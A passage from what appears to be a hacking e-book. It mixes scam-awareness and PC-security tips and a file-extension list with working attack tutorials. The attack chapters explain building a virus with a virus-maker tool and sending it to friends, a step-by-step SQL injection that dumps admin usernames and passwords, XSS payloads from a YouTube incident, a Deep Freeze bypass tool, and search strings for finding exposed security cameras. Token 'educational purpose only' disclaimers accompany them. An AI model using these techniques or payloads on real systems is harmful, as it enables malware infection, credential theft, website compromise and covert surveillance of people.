They may claim that political climate or legal issues preclude them from accessing funds in a foreign bankaccount.They may claim that the person is a minor and hence needs your help to access the funds.They may claim that your last name is the same as that of the deceased person who owned account andsuggest that you act as the Next of Kin of this person in order to gain access to the funds.

3. Lottery Scams

This type of scam is similar to the one discussed above. In this type you may receive an email saying that you have won alarge sum of money in online lottery scheme (ex. UK Lottery) even though you have not participated in any such schemes.The message claims that your email ID was selected randomly from a large pool of IDs. When you respond to such emailsthey initially ask for your complete name and address so that they can mail cheque across to you. After getting thosedetails they may also send you an image of the cheque drawn in your name address so as to confirm the deal. But inorder to mail this cheque they demand a small amount of money insurance/shipping charge/tax in return. However ifyou send the amount in hope to receive the cheque all you get You’re just trapped in a wonderful scamscheme. That’s it.

4. Other General Scams and Frauds

The following are some of the other types of scams that you should be aware of.

In general, be aware of unsolicited emails that:

1. Promise you money, jobs or2. Ask you to provide sensitive information.3. Ask you to follow a link to a website and log on to an account.

4. Propose lucrative business deals

However it may seem to be a difficult task for novice Internet users to identify such online scams. Here are some of thecommon signs of such scam emails. By knowing them it may help you to stay away.



All these scam emails never address you by your name. In turn they commonly address you something like "DearUser” or "Dear Customer” etc. This is a clear indication that the email is a fraudulent one

When you observe the email header you may notice in the " TO:” Field that, the same email is forwarded to alarge group of people or the "TO:” field appears blank. So this confirms that the email was not intendedparticularly for you. It was forwarded for a large group of people and you are one among them.



“ Do not use this hacks & trick in any criminal activities like phishing bank websites and please donot destroy any ones account this is only for educational purpose”.

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22. 12 Tips to maintain a virus free PC.

1. Email is one of the common ways by which your computer can catch a virus. So it is always recommended to stay awayfrom SPAM . Open only those emails that has it’s origin from a trusted source such as those which comes f rom yourcontact list. If you are using your own private email host (other than Gmail, yahoo, hotmail etc.) then it is highlyrecommended that you use good anti-spam software. And finally NEVER any links in the emails that comes fromuntrusted sources.

2 . be careful about using MS Outlook. Outlook is more susceptible worms than other e-mail programs, unless you haveefficient Anti-Virus programs running. Use Pegasus or Thunderbird Mozilla), or a web-based program such as Hotmailor Yahoo (In Fire fox).

3. Never open any email attachments that come from untrusted sources. If it is a picture, text or sound file (theseattachments end in the extensions .txt, .jpeg, .gif, .bmp, .tif, .mp3, .htm, .html, and .avi), you are probably safe, but still doa scan before opening.

4. As we all know, Internet is the main all the malicious programs including viruses, worms, Trojans etc. In factInternet contributes to virus infection 80%. So here are the tips for safe surfing habits so that you can wardoff virus infection up to the maximum extent.





Don’t click on pop -up windows that announce a sudden disaster in your city or announce that you’ve won anhourly prize. They are the ways to mislead Internet users and you should never trust them.You can also use a pop-up blocker to automatically block those pop-ups.

5. USB thumb/pen drives are another common way by which viruses spread rapidly. So it is always a good habit toperform a virus scan before copying any data onto your computer. NEVER double-click the pen drive to open it.Instead right- click on it and select the option "open”. This is a safe way to open a pen drive.

6. Most of us use search engines like Google to find what we are looking for. It is quite obvious for a malicious website toget listed in the search results. So to avoid visiting those untrusted malicious websites, you can download and installthe AVG Link Scanner which is a freeware. This tool can become very handy and will help you to stay away from maliciouswebsites.

7. Install a good Antispyware program that operates against Internet malware and spy ware.

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8. Install good antivirus software and keep it updated. Also perform full system scan periodically. It is highlyrecommended that you turn on the automatic update feature. This is the most essential task to protect your PC fromviruses. If PC security is your first option then it is recommended that you go for shareware antivirus software over thefree ones. Most of the antivirus supports the Auto-Protect feature that provides real-time security for your PC. Make surethat this feature is turned on.

9. Do not use disks that other people gave you, even from work. The disk could be infected with a virus. Of course, youcan run a virus scan on it first to check it out.

10. Set up your Windows Update to automatically download patches and upgrades. This will allow your computer toautomatically download any updates to both the operating system and Internet Explorer. These updates fix security holesin both pieces of software.

11. While you download files from untrusted websites/sources such as torrents, warez etc. make you run a virusscan before executing them.

12. And finally it is recommended not to visit the websites that feature illegal/unwanted stuffs such as cracks, serials,warez etc. since they contribute much in spreading of viruses and other malicious programs.

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23. 10 Tips for Total Online Security.

With the sudden rise in the Internet usage across the globe over the past few years, there has also been a rise in theamount of online scams and frauds. Today most of the Internet users are unaware of the most prevailing online threatswhich pose a real challenge for their safe Internet usage. As a result, Online Security has become a questionable factor forthe most Internet users. However it is still possible to effectively combat insecurity provided that the users are wellaware of the common scams and frauds and know how to protect themselves. study shows that over 91% of theInternet users are unaware of the online scams and are worried about their security. Well if you are one among those91% then here is a list of 10 tips to ensure your total online security.

1. Always install a good antivirus software and keep it up-to-date. install a good anti-spyware to keep your PC awayfrom spywares.

2. Always visit known and trusted websites. If you are about to visit an unknown website, ensure that you do not click onsuspect able links and banners.

3. Perform a virus scan on the files/email attachments that you download before executing them.

4. Regularly update your operating system and browser software. For a better security it is recommended that you surfthe Internet through the latest version of your browser program.

5. Never share your password (email, bank logins etc.) with any one for any reason. Choose a strong password (A blend ofalphanumeric special symbols) and change it regularly, eg. Every 3 months. Avoid using easy-to-guess passwords. (ex.pet’s name or kid’s name)

6. Always type the URL of the website in your browser’s address bar to enter the login pages. For e.g. to login toyour yahoo mail account type http://mail.yahoo.com

7. Before you enter your password on any login page, ensure that you see https instead of http.ex. https://mail.google.com instead of http://mail.google.com . HTTPS protocol implements SSL (Secure Sockets Layer) andprovide better security than a normal HTTP. For more information on HTTPS and SSL see Know More about SecureSockets Layer (SSL).

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8. Beware of phishing emails! Do not respond to any email that request you to update your login details by clicking on alink in the body of the email. Such links can lead to Fake Login Pages (Spoofed Pages). For more information on phishingrefer what is Phishing?

9. Always hit the logout button to close your login session rather than abruptly terminating the browser window. Alsoclear your web browser caches after every session to remove the temporary files stored in the memory and hard disk ofyour PC.

10. Avoid (Stop) using any public computers or computers in the Internet cafes to access any sensitive/confidentialinformation. Also avoid such computers to login to your email/bank accounts. You cannot be sure if any spyware,keystroke-logger, password-sniffer and other malicious programs have not been installed on such a PC.

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24. What to do when your orkut acc. is hacked

What to do when your orkut account is hacked

It can be a nightmare if someone else takes control of your Google Account because all your Google services like Gmail,Orkut, Google Calendar, Blogger, Ad Sense, Google Docs and Google Checkout are tied to the same account.

Here are some options suggested by Google Support when you forget the Gmail password or if someone else takesownership of your Google Account and change the password:

1. Reset Your Google Account Password:

Type the email address associated with Google Account or Gmail user name at google.com/accounts/ForgotPasswd -you will receive an email at your secondary email address with a link to reset your Google Account Password.

This will not work if the other person has changed your secondary email address or if you no longer have access to thataddress.

2. For Google Accounts Associated with Gmail:

If you have problems while logging into your Gmail account, you can consider contacting Google by filling this form. Ithowever requires you to remember the exact date when you created that Gmail account.

3. For Hijacked Google Accounts Not Linked to Gmail:

If your Google Account doesn’t use a Gmail address, contact Google by filling this form. This approach may help bringback your Google Account if you religiously preserve all your old emails. You will be required to know the exact creationdate of your Google Account plus a copy of that original "Google Email Verification” message.

It may be slightly tough to get your Google Account back but definitely not impossible if you have the relevantinformation in your secondary email mailbox.

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25. Making a computer virus

In This Tutorial we will study about the Making Virus Maker".

Let’s start the tutorial.

Step 1:- Download the Necessary software for VIRUS making.

“ Download JPS Virus Maker from here: http://www.hackingtech.co.tv/JPS_Virus_Maker.rar ”.

Step 2:- Unrar the pack.

Step 3:- Now open

(Fig -1)

(Fig -2)

Step 4:- Now Select any (can be more then one) Victim option from the given options as done above. (Fig -2)

Step 5:- For Virus of Fake Message select the Fake Error Message and write the message you want to display in captionand Title Like "Error" as shown below. (Fig -3)

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Step 6:- To the newpassword. (Fig -4)

Step 7:- To Run any program on starting the XP click on “Run Xp Program before Execute ". And then sele ct any Programfrom list you want to run at the Starting on Xp.

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Step 8:- Now select any server Icon; it is the icon of the virus file. (Fig -6)

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(Fig -6)

(Fig -7)

Step 9:- Now select any virus Name from the list so it cannot be seen in the process from its own name. (Fig -7)

Step 10:- Click on the "make virus” Button

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Step 11:- Now send this file to your friends and see what happens to his/her PC.

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“ Do not use this hacks & trick in any criminal activities like phishing bank websites and please donot destroy any ones account this is only for educational purpose”.

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26. SQL injection for website hacking

In this tutorial I will describe how sql injection works and how to use it to get some useful information.

First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.It allows attacker to execute database query in url and gain access to some confidential Information etc...( In shortly).

1. SQL Injection (classic or error based) 2. Blind SQL Injection (the harder part)

So let's start with some action

Step 1:- Check for vulnerability

Let's say that we have some site like this http://www.site.com/news.php?id=5

Now to test if is vulnerable we add to url ' (quote), and that would be http://www.site.com/news.php?id=5' so if we get some error like" You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc... "Or something similarThat means is vulnerable to sql injection :)

Step 2:- Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Welljust incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <-- no errorhttp://www.site.com/news.php?id=5 order by 2/* <-- no errorhttp://www.site.com/news.php?id=5 order by 3/* <-- no errorhttp://www.site.com/news.php?id=5 order by 4/* <-- error(We get message like this Unknown column '4' in 'order clause' or something like that)

That means that the it has 3 columns, because we got an error on 4.

Step 3:- Check for UNION function

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With union we can select more data in one sql statement.

So we have http://www.site.com/news.php?id=5 union all select 1,2,3/*

(We already found that numbers of columns are 3 in section 2). if we see some numbers on screen, i.e. 1 or 2 or 3 thenthe UNION works

Step 4:- Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/*

NOTE: if /* not working or you get some error, then try -- it's a comment and it's important for our query to workproperly.

Let’s say that we have number 2 on the screen, now to check for version we replace the number @@version orversion () and get something like 4.1.33-log or 5.0.45 or similar.

It should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/* if you get an error"union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

I didn't see any paper covering this problem, so i must write it .

What we need is convert () functioni.e. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/* Or with hex () and unhex ()i.e.http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*And you will get MySQL version.

Step 5:- Getting table and column name

Well if the MySQL version is < 5 (i.e. 4.1.33, 4.1.12...) <--- later I will describe for MySQL > 5 version. We must guesstable and column name in most cases. Common table names are: user/s, admin/s, and member/s ... common columnnames are: username, user, usr, username, password, pass, passwd, pwd etc...

I.e. would be http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (We see number 2 on the screen like before, and that's good )We know that table admin exists...Now to check column names. http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (If you get an error, then try the other column name)

We get username displayed on screen, example would be admin, or superadmin etc...Now to check if column password existshttp://www.site.com/news.php?id=5 union all select 1,password,3 from admin/*(If you get an error, then try the other column name)

We seen password on the screen in hash or plain-text, it depends of how the database is set up .

i.e. md5 hash, mysql hash, sha1...Now we must complete query to look nice :)For that we can use concat () function (it joins strings)i.e.http://www.site.com/news.php?id=5 union all select 1,concat(Username, 0x3a, password),3 from admin/*Note that I put 0x3a, its hex value for: (so 0x3a is hex value for colon)(There is another way for that, char (58), ASCII value for : )

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http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58), password),3 from admin/* Now we get displayed username:password on screen, i.e. admin:admin or admin:somehash when you have this, youcan login like admin or some superuser if can't guess the right table name, you can always try mysql.user (default) ithas user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password) ,3 from mysql.user/*

Step 6:- MySQL 5

Like I said before I’m going to explain how to get table and column names in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.To get tables we use table_name and information_schema.tables.i.e. http://www.site.com/news.php?id=5 union all select 1,table_name,3from information_schema.tables/* Here we replace the our number 2 with table_name to get the first table from information_schema.tablesdisplayed on the screen. Now we must add LIMIT to the end of query to list out all tables.i.e http://www.site.com/news.php?id=5 union all select 1,table_name,3from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)now to view the second table, we change limit 0,1 to limit 1,1i.e http://www.site.com/news.php?id=5 union all select 1,table_name,3from information_schema.tables limit 1,1/* the second table is displayed.for third table we put limit 2,1i.e http://www.site.com/news.php?id=5 union all select 1,table_name,3from information_schema.tables limit 2,1/* keep incrementing until you get some like db_admin, poll_user, auth, auth_user etc... :DTo get the column names the method same.here we use column_name and information_schema.columnsthe method is same as above so example would be

http://www.site.com/news.php?id=5 union all select 1,column_name,3from information_schema.columns limit 0,1/* the first column is diplayed.the second one (we change limit 0,1 to limit 1,1)ie.http://www.site.com/news.php?id=5 union all select 1,column_name,3from information_schema.columns limit 1,1/*the second column is displayed, so keep incrementing until you get something likeusername,user,login, password, pass, passwd etc...if you wanna display column names for specific table use this query. (where clause)let's say that we found table users.i.ehttp://www.site.com/news.php?id=5 union all select 1,column_name,3from information_schema.columns where table_name='users'/*now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.Note that this won't work if the magic quotes is ON.let's say that we found colums user, pass and email.

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now to complete query to put them all togetherfor that we use concat() , i decribe it earlier.i.e

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.

example: admin:pass:blabla@whatever.com

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“ Do not use this hacks & trick in any criminal activities like phishing bank websites hacking theweb servers and please do not destroy any ones account this is only for educational purpose”.

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27. How a ‘Denial of service’ attack works

On February 6th, 2000 Yahoo portal was shut down for 3 hours. Then retailer Buy.com Inc. (BUYX) was hit the next day,hours after going public. By that evening, eBay (EBAY), Amazon.com (AMZN), and CNN (TWX) had gone dark. And in themorning, the mayhem continued with online broker E*Trade (EGRP) and others having traffic to their sites virtuallychoked off.

How a "denial of service" attacks works

In a typical connection, the user sends a message asking the server it. The server returns theauthentication approval to the user. The user acknowledges this then is allowed onto the server.In a denial of service attack, the user sends several authentication server, filling it up. All requests havefalse return addresses, so the server can't find the user when it tries to send the authentication approval. The serverwaits, sometimes more than a minute, before closing the connection. When it does close the connection, the attackersends a new batch of forged requests, and the process begins again--tying up the service indefinitely.

Typical connection

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"Denial of service" attack

How to block a "denial of service" attack

One of the more common methods of blocking a "denial of service" attack is to set up a filter, or "sniffer," on a networkbefore a stream of information reaches a site's Web servers. The filter can look for attacks by noticing patterns oridentifiers contained in the information. If a pattern comes in frequently, the filter can be instructed to block messagescontaining that pattern, protecting the Web servers from having their lines tied up.

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bank websites hacking theonly for educational purpose”.

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28. XSS vulnerability found on You Tube

On the 4th of July 2010 YouTube users began complaining that their videos had been hijacked, the comments section oftheir videos seemed to be most severely affected, many complained that old comments vanished commentscould not be added. Others reported that offensive messages were popping up on their screen or horizontally inlarge fonts and striking colours. Some users also seemed to suggest that there were experiencing redirects, often tosites promoting pornographic content.

YouTube Withinminutes it was apparent that the YouTube website was under attack.

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You Tube’s XSS (Cross Site Scripting) defences had been defeated. Security-minded people began shouting warnings,asking users to stay off YouTube. Other YouTube users urged others to log out from their account, for fear of cookiehijacking, and other nastiest caused by XSS attacks.

Above: Some users reported this screen when browsing the YouTube site during the attack.

Within an hour or two the problem was fixed, YouTube servers rebooted and the Internet as we know itwas restored to normality.

Very few realized that what they had just witnessed was probably most embarrassing and largest securitybreach that Google has ever suffered. This fl aw could, and tarnish Google’s reputation and raise newawareness to everyone. People ask; how can Google and YouTube such a classic XSS attack as this one?

The YouTube XSS Vulnerability Explained

In XSS (Cross Site Scripting) a ttacks such as this one the attacker manages to ‘inject’ JavaScript code into the targetwebsite.In this scriptinto

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In its simple form, the user would put in a comment such as this one:

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<script><h1><marquee><font color=”red”><u>Ha -Ha – This text will scroll in red, on your screen</script> In this particular attack, the keyword IF_HTML_FUNCTION? Appears after the <script> tag, in the following way:

<Script>IF_HTML_FUNCTION? <h1><marquee><font color=”red”><u>Ha -Ha – This text will scroll in red, on yourscreen<script>

Apart from this keyword, I also noticed that the <script> tag is not properly closed. This is probably what caused otherscripts on the same page to stop functioning.

During the time the YouTube was vulnerable users began creating variants of the marquee script, one of which wouldredirect users to go at an infamous hacker web site, as can be seen below.

<script><BODY onLoad=”var a = ‘ \x68\x74\x74\x70\x3a\x2f\ x2f’ + ‘ \x77\x77\x77\ x2e’ ‘goatse’ + ‘ \ x2efr’;location.href = a;”

One thing to note about this attack script is that the IF_HTML_FUNCTION? Is missing, but the <script> tag is still notproperly closed.

Videos emerged of other users experimenting with this newly discovered flaw. One user made a video of himselfexploiting the following script, which will have the effect of making the page black, except for the words *TEXTHERE*:

<script><h1><marquee style=”position: absolute; top: 0px; 0px; left: 0px; z-index: 9999999; right: 0px;background-color: rgb(0, 0, 0);”><font style:=”font - size:60px” color=”red”><u style=”">*TEXT HERE*<script>

Similar to the previous two examples, the <script> tag is not closed, and just like the example before this one,the IF_HTML_FUNCTION keyword is missing.

By the time I go around to creating my own experiments, YouTube had already fixed the problem, they also very briefly,and without detailed, admitted to the attack (Google acknowledges YouTube hack.)

The fix was swift and effective, however impeded me from carrying out further tests, so I was not able to determinewhat would happen if, for example the tag was properly terminated.

Lessons Learned and Countermeasures

It is still not clear whether this attack existed for a long time but never noticed, or whether it was a recently introducedbug; hopefully YouTube will explain to us how this XSS vulnerability was made possible.

My gut feeling is that a recent software update introduced this security hole; if this is the case, it reinforces what somesecurity experts are saying; incorporate security test in your QA process, preferably with automated tools such asvulnerability scanners. Security testing and vulnerability scanning are not exercises that are done once and then neveragain. They need to be re-done each time a software update is made to your web apps. In the case of YouTube, this isprobably a daily exercise.

This attack is a stark reminder of how vulnerable Internet users are to XSS attacks. A classic and relatively simple attackworked against the biggest Internet giant. If Google and YouTube cannot keep their users safe, then who can?

“ Warning! Do not use this attack again on youtube and try to hack it as they are back trackingthis type of illegal activities, this is for educational purpos e only”.

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29. Hacking Deep Freeze

Deep Freeze uses a unique method of disk protection to preserve the exact original standard system configuration onover eight million Windows & Macintosh & Linux computers worldwide!

This Attack can mostly be used in cyber café's / colleges / schools etc. Where permissions are not granted to install any

http://www.hackingtech.co.tv/DeepUnfreezerU1.6.rar ”.

Step 2:- Unrar the downloaded Software and You will find the file named DeepUnfreezerU1.6.exe

Step 3:- Open that software and click on Boot Thawed radio button and click on load status.

Step 4:- After loading the status click on save status button .

Step 5:- Restart the Computer and You are done. The Deep Freeze is hacked.

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Now Again to Lock the Deep Freeze or Freeze the System as it was before cracking the Deep Freeze follow Steps Below.

Step 1:- Open the software.

Step 2:- Select the boot frozen radio button and click on load status.

Deep

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30. How to watch security cameras on internet

There are some Steps “How to watch Security Cameras on Internet”

Step 1. Open internet your web browser.

Step 2. Go to a search engine of your choice (i.e. Google, Yahoo, etc.), and input any of the search commands as listedbelow.

Step 3. After you search one of these queries, you will see some search results, click on any one of them.

Step 4. Depending on the type of camera that you have access to, you may be able to control the like zoom, pan,and tilt the camera to see what you want to.

Step 5. Do not try to get onto password protected cameras, as this will not go unnoticed if too many attempts are made.

Some Commands to be Remember to Find Live CCTV Cameras.



inurl:/view.shtmlintitle:”Live View / – AXIS” | inurl:view/view.shtml^inurl:ViewerFrame?Mode=inurl:ViewerFrame?Mode=Refreshinurl:axis-cgi/jpginurl:view/index.shtmlinurl:view/view.shtmlliveappletintitle:liveappletallintitle:”Network Camera NetworkCamera”intitle:axis intitle:”video server”intitle:liveapplet inurl:LvApplintitle:”EvoCam” inurl:”webcam.html”intitle:” Live NetSnap Cam- Server feed”intitle:”Live View / – AXIS 206M”intitle:”Live View / – AXIS 206W”intitle:”Live View / – AXIS 210 ″

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

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inurl:indexFrame.shtml Axisintitle:start inurl:cgistartintitle:”WJ - NT104 Main Page”intitle:snc-z20 inurl:home/intitle:snc-cs3 inurl:home/intitle:snc-rz30 inurl:home/intitle:”sony network camera snc -p1 ″viewnetcam.comintitle:”Toshiba Network Camera” user loginintitle:”i -Catcher Console – Web Monitor”

Use these commands in Google Search and get the desired result.

“Do not misuse this hack or attack in any illegal activities as this is for educational purpose only”.

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31. List of PC file Extensions

This is a list of the most commonly found extensions, what type of file they are and what program if any they areassociated with.

.$$$ Temporary file

.$$A OS/2 program file

.$$F OS/2 database file

.$$S OS/2 spreadsheet file

. OS/2 planner file

.$DB DBASE IV temporary file

.$ED Microsoft C temporary editor file.

.$VM Microsoft Windows temporary virtual managers.

._DD Norton disk doctor recovery file.

._DM Nuts n Bolts disk minder recovery file.

.--- File used to backup sys, ini, dat, and other important files from Windows 3.1 and above.

.075 Ventura Publisher 75x75 dpi screen characters

.085 Ventura Publisher 85x85 dpi screen characters

.091 Ventura Publisher 91x91 dpi screen characters

.096 Ventura Publisher 96x96 dpi screen characters

.0B Pagemaker printer font LineDraw enhanced characters.

.1ST File used by some software manufacturers to represent a file that should be read first before starting the program.

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.2GR File used in Windows 3.x to display the graphics on older 286 and 386 computers.

.386 Virtual machine support files for the 386 enhanced mode.

.3GR File used in Windows 3.x to display the graphics on later 386, 486 and Pentium computers.

.4SW 4DOS Swap file

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A

A ADA program file or UNIX library

.A3W MacroMedia Authorware 3.5 file

.ABK Autobackup file used with Corel Draw 6 and above.

.ABR Brush file for Adobe Photoshop

.ACT Adobe Photoshop Color table file.

.AD After Dark file.

.ADF Adapter description files.

.ADM After Dark screen saver module.

.ADR After Dark randomizer

.AI Adobe Illustrator file.

.AIF Auto Interchange File Format (AIFF) Audio file.

.ANI Windows 95 / Windows 98 / Windows animated mouse cursor file.

.ANS ANSI text file.

.ARJ Compressed file can be used with Winzip / Pkzip.

.ASC ASCII Text file

.ASF Sort for Advanced Streaming Format, file developed by Microsoft. The .ASF file is generally a movie player and canbe open with software such as Windows Media Player.

.ASP Microsoft FrontPage Active Server Pages. To open these files use your internet browser.

.AVI Windows Movie file.

B

.BAK Backup file used for important windows files usually used with the System.ini and the Win.ini.

.BAS QBasic program and or Visual Basic Module.

.BAT Batch file that can perform tasks for you in dos, like a macro.

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.BFC Microsoft Windows 95 / Windows 98 Briefcase file.

.BG Backgammon game file.

.BIN Translation tables for code pages other than the standard 437.

.BK2 Word Perfect for Windows Backup file

.BK3 Word Perfect for Windows Backup file

.BK4 Word Perfect for Windows Backup file

.BK5 Word Perfect for Windows Backup file

.BK6 Word Perfect for Windows Backup file

.BK7 Word Perfect for Windows Backup file

.BK8 Word Perfect for Windows Backup file

.BK9 Word Perfect for Windows Backup file

.BMP Graphical Bit Mapped File used in Windows Paintbrush.

.BNK Sim City Backup

.BPS Microsoft Works Word Processor File.

.BPT Corel Draw Bitmap master file

.BV1 Word Perfect for Windows Backup file

.BV2 Word Perfect for Windows Backup file

.BV3 Word Perfect for Windows Backup

.BV4 Word Perfect for Windows Backup file

.BV5 Word Perfect for Windows Backup file

.BV6 Word Perfect for Windows Backup file

.BV7 Word Perfect for Windows Backup file

.BV8 Word Perfect for Windows Backup file

.BV9 Word Perfect for Windows Backup file

.BWP Battery Watch pro file.

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C

.C C file used with the C programming language.

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.CAB Cabinet file used in Windows 95 and Windows 98 that contains all the windows files and drivers. Informationabout how to extract a .CAB file can be found on document CH000363.

.CAL Windows Calendar, Supercalculator4 file or Supercal spreadsheet.

.CBL COBOL Program File

.CBT Computer Based Training files.

.CDA CD Audio Player Track.

.CDR Corel Draw Vector file.

.CFB Comptons Multimedia file

.CFG Configuration file

.CFL Corel flowchart file

.CFM Corel FontMaster file / Cold Fusion Template file / Visual dBASE windows customer form

.CHK Scandisk file which is used to back up information that scandisk has found to be bad, found in C root. Because theinformation within these files are corrupted or reported as bad by Scandisk perfectly fine to delete these files,providing you are currently not missing any information. Additional information about scandisk can be found on ourscandisk page.

.CL Generic LISP source code.

.CL3 Easy CD Creator layout file.

.CL4 Easy CD Creator layout file.

.CLA Java Class file.

.CLG Disk catalog database

.CLK Corel R.A.V.E. animation file.

.CLL Crick software clicker file

.CLO Cloe image

.CLP Windows Clipboard / Quattro Pro clip art / Clipper 5 compiler script

.CLR WinEdit Colorization word list / 1st reader binary color screen image / PhotStyler color definition

.CLS Visual Basic Class module / C++ Class definition

.CMD Windows Script File also OS/2 command file.

.CMV Corel Movie file.

.CNT Help file (.hlp) Contents (and other file contents)

.CPL Windows 95 / Windows 98 / Windows NT control panel icons.

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.CNE Configuration file that builds .COM files.

.CNF Configuration file.

.COB COBOL source code file.

.COD FORTRAN Compiler program code

.COM File that can be executed.

.CPE Fax cover page file

.CPI Code Page Information or Microsoft Windows applet control panel file

.CPP C++ source code file.

.CRD Windows Card file.

2010

.CSV Comma-Separated Variable file. Used primary with databases and spreadsheets / Image file used with CopuShow

.CUR Windows Mouse Cursor.

.CVS Canvas drawing file

.CXX C++ program file or Zortech C++ file

D

.DAT Data file, generally associated or extra data for a program to use.

.DB Paradox database file / Progress database file

.DB2 dBase II file

.DBC Microsoft Visiual Foxpro database container

.DBF dBase II,III,III+,IV / LotusWorks database.

.DBK dBase databse backup / Orcad schematic capture backup file

.DBM Cold Fusion template

.DBO dBase IV compiled program file

.DBQ Paradox memo

.DBT dBase database text file

.DBV Flexfile memo field file

.DBW DataBoss database file

.DBX Database file / DataBeam Image / MS Visual Foxpro Table

.DEV Device Driver

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.DIF Document Interchange Format; VisiCalc

2010

.DLL Dynamic Link Library; Allow executable code modules to be loaded on demand, linked at run time, and unloadedwhen not needed. Windows uses these files to support foreign languages and international/nonstandard keyboards.

.DMO Demo file

.DMP Dump file

.DMD Visual dBASE data module

.DMF Delusion/XTracker Digital Music File

.DMO Demo file

.DMP Dump file

.DMS Compressed archive file

.DOC Microsoft Word Windows/DOS / LotusWorks word processor Windows/DOS /PF S:First Choice Windows/DOSDOT MS Word Windows/DOS.

.DOS Text file and DOS Specification Info

.DOT Microsoft Word Template (Macro).

.DRV Device driver files that attach the hardware to Windows. different drivers are system, keyboard, pointingdevices, sound, printer/ plotter, network, communications adapter.

.DRW Micrografx draw/graph files.

.DT_ Macintosh Data File Fork

.DTA Data file

.DTD SGML Document definition file

.DTF Q&A database

.DTM DigiRekker module

.DTP SecurDesk! Desktop / Timeworks Publisher Text Document / Pressworks Template file

.DUN Dialup Networking exported file.

.DX Document Imaging file / Digital data exchange file

.DXB Drawing interchange binary file

.DXF Autocad drawing interchange format file

.DXN Fujitsu dexNet fax document

.DXR Macromedia director projected movie file

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.DYN Lotus 1-2-3 file

.DWG AutoCad Drawing Database

2010

E

.EEB Button bar for Equation Editor in Word Perfect for Windows

.EFT CHIWRITER high resolution screen characters

.EGA EGA screen characters for Ventura Publisher

.ELG Event List text file used with Prosa

.EMS Enhanced Menu System configuration file for PC Tools

.EMU IRMA Workstation for Windows emulation

.ENC ADW Knowledge Ware Encyclopedia

.END Corel Draw Arrow Definition file

.ENG Sprint dictionary file engine

.ENV Word Perfect for Windows environment file.

.EPG Exported PaGe file used with DynaVox

.EPS Encapsulated Postscript, with embedded TIFF preview images.

.EQN Word Perfect for Windows Equation file

.ERD Entity Relation Diagram graphic

.ERM Entity Relation Diagram model

.ERR Error log file

.ESH Extended Shell Batch file

.EVT Event file scheduler file for PC Tools

.EX3 Device driver for Harvard graphics 3.0

.EXC QEMM exclude file from optimization file or Rexx program file

.EXE Executable file.

.EXT Extension file for Norton Commander

F

.FDF Adobe Acrobat Forms Document.

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.FF AGFA CompuGraphics outline font description.

.FFA Microsoft Fast Find file.

.FFF GUS PnP bank / defFax fax document

.FFL Microsoft Fast Find file / PrintMaster Gold form file

.FFO Microsoft Fast Find file

.FFT DCA/FFT final form text

.FFX Microsoft Fast Find file

.FON Font files to support display and output devices.

.FR3 dBase IV renamed dBase III+ form

.FRF FontMonger Font

.FRG dBase IV uncompiled report

.FRK Compressed zip file used with Apple Macinotsh computers.

2010

.FRM Form file used with various programs / Microsoft Visual / FrameMaker document / FrameBuilder file /Oracle executable form / Word Perfect Merge form / DataCAD report file

.FRO dBase IV compiled report / FormFlow file

.FRP PerForm Pro Plus Form

.FRS WordPerfect graphics driver

.FRT FoxPro report file

.FRX Microsoft Visual basic binary form FoxPro report file

.FRZ FormFlow file

G

.GIF CompuServe Graphics Interchange Format.

.GR2 286 grabbers that specify which font to use with DOS and Windows.

.GR3 386 grabbers that specify which font to use with DOS and Windows.

.GRA Microsoft Flight simulator graphics file

.GRB Microsoft MS-DOS shell monitor

.GRF Micrografx draw/graph files.

.GRP Microsoft Program Group.

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.GZ Compressed Archive file for GZip

2010

H

.HBK Mathcad handbook file

.HDL Procomm Plus alternate download file listing

.HDR Procomm Plus message header

.HDX Help index

.HEX Hex dump

.HFI GEM HP font info

.HGL HP graphics language graphic

.HH C++ Header

.HHH Precompiled Header for Power C

.HHP Help data for Procomm Plus

.HLP Files that contain the Help feature used in windows, cannot from DOS.

.HQX Apple Macintosh Binhex text conversion file.

.HSQ Data files associated with the Qaz Trojan.

.HSS Photoshop Hue/Saturation information.

.HST History file / Procomm Plus History Host file.

.HTA Hypertext Application (run applications from HTML document).

.HTM Web page files containing HTML or other information found on the Internet.

I

.ICA Citrix file / IOCA graphics file

.ICB Targa Bitmap

.ICC Kodak printer image

.ICE Archive file

.ICL Icon library file

.ICM Image Color Matching profile file

.ICN Microsoft Windows Icon Manager.

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.ICO Microsoft Windows Icondraw / Icon.

.ID Disk identification file.

.IDB Microsoft developer intermediate file, used with Microsoft Visual Studio

.IDD MIDI instruments definition

.IDE Integrated Development Environment configuration file

.IDF MIDI instruments drivers file

.IDQ Internet data query file

.IDX Index file

.IFF IFF/LBM (Amiga) used by Computer Eyes frame grabber.

.IMG GEM/IMG (Digital Research) or Ventura Publisher bitmap graphic

.INF Information file that contains customization options.

.INI Files that initialize Windows and Windows apps.

.IPF Installer Script File / OS/2 online documentation for Microsoft files.

2010

.ISO Compressed file used for an exact duplicate of a CD. .ISO extracted or opened such programs as WinImage that can be found on our shareware download section.

.IWA IBM Writing Assistant Text file.

J

.JAS Graphic

.JPG Graphic commonly used on the Internet and capable of being opened by most modern image editors.

.JS JavaScript file.

.JSB Henter-Joyce Jaws script binary file

.JSD eFAX jet suite document

.JSE JScript encoded script file

.JSH Henter-Joyce Jaws script header file

.JSL PaintShop pro file

.JSM Henter-Joyce Jaws script message file

.JSP Java server page

.JSS Henter-Joyce Jaws script source file

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.JT JT fax file

.JTF JPEG tagged Interchange format file

.JTK Sun Java toolkit file

.JTP JetForm file

.JW Justwrite text file

